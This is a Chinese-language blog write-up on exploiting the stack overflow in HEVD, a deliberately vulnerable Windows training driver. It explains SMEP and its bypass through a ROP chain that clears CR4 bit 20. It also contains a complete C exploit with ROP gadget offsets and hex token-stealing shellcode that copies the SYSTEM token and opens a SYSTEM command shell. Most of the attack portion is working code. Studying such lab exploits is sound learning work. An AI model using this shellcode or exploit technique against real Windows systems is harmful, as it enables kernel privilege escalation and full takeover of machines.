[HEVD exploit 系列] StackOverflow

Page content

目标函数

TriggerBufferOverflowStack

__int64 __fastcall TriggerBufferOverflowStack(void *Src, unsigned __int64 Size)
{
  char Dst[2048]; // [rsp+20h] [rbp-818h] BYREF

  memset(Dst, 0, sizeof(Dst));
  ProbeForRead(Src, 0x800ui64, 1u);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", Src);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", Dst);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 0x800i64);
  DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
  memmove(Dst, Src, Size);
  return 0i64;
}

保护措施:SMEP^[3]^

定义

SMEP,即 Supervisor Mode Execution Protection,主管模式执行保护。该措施可以保证应用程序在更高特权级别运行时,不会在不受信任的程序内存中执行代码。

该机制通过控制寄存器^[2]^ CR4 的第 20 位实现,1 表示启用。

绕过方法

利用 ROP 链读取 CR4 的内容并对 20th 位的内容进行翻转。

注意事项:因为要调用EnumDeviceDrivers函数,本文中的方法只使用于中及以上完整性级别^[4]^。否则需要考虑其他获取内核模块基址的方式。


待补充:获取内核模块基址的方式


漏洞利用简略步骤

  1. 确定返回地址相对于缓冲区的偏移
    1. 使用 msf 的工具生成循环字符串,对返回地址处的字符进行定位;
    2. 直接调试确定偏移
  2. 使用 RP++ 搜索 ntoskrnl.exe 中的 gadgets
    0x997224: pop rcx ; ret ; \x40\x59\xc3 (1 found)
    0x9a41d9: mov cr4, rcx ; ret ; \x0f\x22\xe1\xc3 (1 found)
    
  3. 使用 nasm + radare2 生成 shellcode
    nasm shellcode.asm -o shellcode.bin -f bin
    radare2 -b 32 -c 'pc' ./shellcode.bin
    

代码

#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>

#define DRIVER "\\\\.\\HacksysExtremeVulnerableDriver"
#define IOCTL_CODE 0x222003

ULONGLONG GetKernelBase(void) {
   LPVOID lpImageBase[1024];
   DWORD lpcbNeeded;

   printf("[+] Obtaining Driver Base Address!\n");
   BOOL DriversBase = EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
   if (!DriversBase) {
   	printf("[!] FATAL: Error enumerating device drivers!\n");
   	exit(1);
   }

   char BaseName[1024] = { 0 };
   BOOL DriversBaseName = GetDeviceDriverBaseNameA(lpImageBase[0], BaseName, sizeof(BaseName));
   if (!DriversBaseName) {
   	printf("[!] FATAL: Error getting drivers base name!\n");
   	exit(1);
   }

   ULONGLONG KernelBase = (ULONGLONG)lpImageBase[0];

   printf("[*] Driver base name is: %s\n", BaseName);
   printf("[*] %s is located at: 0x%x\n", BaseName, KernelBase);

   return KernelBase;
}

ULONGLONG CreateShellcode(void) {
   /*
   	_start:
   		mov rax, [gs:0x188]         ; Current thread (_KTHREAD)
   		mov rax, [rax + 0xb8]       ; Current process (_EPROCESS)
   		mov rbx, rax                ; Copy current process (_EPROCESS) to rbx
   	__loop:
   		mov rbx, [rbx + 0x448]      ; ActiveProcessLinks
   		sub rbx, 0x448              ; Go back to current process (_EPROCESS)
   		mov rcx, [rbx + 0x440]      ; UniqueProcessId (PID)
   		cmp rcx, 4                  ; Compare PID to SYSTEM PID
   		jnz __loop                  ; Loop until SYSTEM PID is found
   		mov rcx, [rbx + 0x4b8]      ; SYSTEM token is @ offset _EPROCESS + 0x4b8
   		and cl, 0xf0                ; Clear out _EX_FAST_REF RefCnt
   		mov [rax + 0x4b8], rcx      ; Copy SYSTEM token to current process
   	__cleanup:
   		mov rax, [gs:0x188]       ; _KPCR.Prcb.CurrentThread
   		mov cx, [rax + 0x1e4]     ; KTHREAD.KernelApcDisable
   		inc cx
   		mov [rax + 0x1e4], cx
   		mov rdx, [rax + 0x90]     ; ETHREAD.TrapFrame
   		mov rcx, [rdx + 0x168]    ; ETHREAD.TrapFrame.Rip
   		mov r11, [rdx + 0x178]    ; ETHREAD.TrapFrame.EFlags
   		mov rsp, [rdx + 0x180]    ; ETHREAD.TrapFrame.Rsp
   		mov rbp, [rdx + 0x158]    ; ETHREAD.TrapFrame.Rbp
   		xor eax, eax  ;
   		swapgs
   		o64 sysret 
   */
   char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00"
   	"\x48\x89\xC3\x48\x8B\x9B\x48\x04\x00\x00\x48\x81\xEB\x48\x04\x00"
   	"\x00\x48\x8B\x8B\x40\x04\x00\x00\x48\x83\xF9\x04\x75\xE5\x48\x8B"
   	"\x8B\xB8\x04\x00\x00\x80\xE1\xF0\x48\x89\x88\xB8\x04\x00\x00\x65"
   	"\x48\x8B\x04\x25\x88\x01\x00\x00\x66\x8B\x88\xE4\x01\x00\x00\x66"
   	"\xFF\xC1\x66\x89\x88\xE4\x01\x00\x00\x48\x8B\x90\x90\x00\x00\x00"
   	"\x48\x8B\x8A\x68\x01\x00\x00\x4C\x8B\x9A\x78\x01\x00\x00\x48\x8B"
   	"\xA2\x80\x01\x00\x00\x48\x8B\xAA\x58\x01\x00\x00\x31\xC0\x0F\x01"
   	"\xF8\x48\x0F\x07";

   LPVOID shellcode = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   if (!shellcode) {
   	printf("[-] FATAL: Unable to allocate shellcode!\n");
   	exit(1);
   }
   printf("[+] Shellcode allocated at: 0x%p\n", shellcode);

   RtlMoveMemory(shellcode, payload, sizeof(payload));

   ULONGLONG ShellcodeBase = (ULONGLONG)shellcode;
   return ShellcodeBase;
}

void exploit() {
   HANDLE DriverHandle;
   DWORD OldProtect;
   const size_t offset = 2072;
   const size_t buffSize = 2072 + 4 * 8;
   char buffer[buffSize] = { 0 };

   ULONGLONG BaseAddress = GetKernelBase();
   ULONGLONG shellcode = CreateShellcode();

   ULONGLONG ROP1 = BaseAddress + 0x997224;
   ULONGLONG ROP2 = 0x250EF8;
   ULONGLONG ROP3 = BaseAddress + 0x9a41d9;


   printf("[*] Preparing exploit buffer!\n");
   memset(buffer, 0x41, sizeof(buffer));

   printf("[+] Beginning ROP chain to disable SMEP!\n");
   memcpy(&buffer[offset], &ROP1, 8);
   memcpy(&buffer[offset + 8], &ROP2, 8);
   memcpy(&buffer[offset + 16], &ROP3, 8);
   printf("[+] SMEP should now be disabled!\n");

   memcpy(&buffer[offset + 24], &shellcode, 8);
   printf("[+] Executing shellcode!\n");

   printf("[*] Opening handle to %s\n", DRIVER);
   DriverHandle = CreateFileA(DRIVER, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
   if (DriverHandle == INVALID_HANDLE_VALUE) {
   	printf("[!] FATAL: Could not open HEVD handle!\n");
   	return;
   }

   // IoControlCode 是从 HEVD.sys 的 IDA 中获得的
   if (!DeviceIoControl(DriverHandle, IOCTL_CODE, buffer, buffSize, NULL, 0, NULL, NULL)) {
   	printf("[!] FATAL: Error sending IOCTL to driver!\n");
   	return;
   }
}

int main() {
   printf("[+] HEVD: Stack Buffer Overflow!\n");
   exploit();

   system("cmd.exe /c  cmd.exe /K cd C:\\");
   printf("[*] 1337 System Shell Bozo");

   return 0;
}

知识点积累

  1. ProbeForRead | The ProbeForRead routine checks that a user-mode buffer actually resides in the user portion of the address space, and is correctly aligned.
  2. DeviceIoControl 中的参数 IoControlCode 是从驱动文件的逆向中获取的
  3. ROP gadgets 搜索工具 RP++,以及十六进制 shellcode 的生成方式
  4. shellcode 中的提权方式,以及最后的 cleanup 来自 Kristal^[5]^ 的技巧,但是这种 cleanup 方式会导致最终的命令行窗口无法关闭,说明还是存在一些缺陷

问题总结

  1. 因为完全不了解如何触发漏洞,所以不确定真的存在漏洞。实际上在这个数据复制操作中,没有对数据源的大小进行任何检查和限制,而且 Src 和 Size 是调用驱动功能时由调用者提供的,可以被控制。因此可以认为存在溢出漏洞。 缺少的知识点:如何与 Windows 内核交互 -> C语言编程 CreateFileA DeviceIoControl
  2. Q: Src 是用户态的缓冲区,那为什么 Dst 是内核态的缓冲区,这两个是怎么进行区分的? A: 和 ① 是同样的问题,Src 和 Size 由调用者从用户态提供,因此是用户态缓冲区。Dst 是驱动自己创建的,所以是内核态缓冲区。
  3. 编程的时候遇到了几个很弱智的问题:
    1. 原文代码中的缓冲区大小设置错误,但是我没发现,调试了半天系统都崩溃了;
    2. 看了另一篇分析文章^[6]^,代码细节上存在差异,把缓冲区大小修改完之后系统还是崩溃了,最后才发现对函数的理解有误……
    memcpy(&buffer[offset + 24], (void*)shellcode, 8);
    
    *(rop + index++) = (QWORD)shellcode;
    
    原文使用了第一种赋值方式,但是有一个对 shellcode 取地址的操作,一开始我还以为是代码写错了,最后才意识到 memcpy 在这里有一个取值操作,然后才会把取到的值,即 shellcode 地址复制到缓冲区中。

参考资料

  1. 原分析文章
  2. wiki for Control register
  3. Supervisor Mode Execution Protection
  4. 什么是Windows完整性机制?
  5. SYSRET_Shellcode
  6. Windows Kernel Exploitation – HEVD x64 Stack Overflow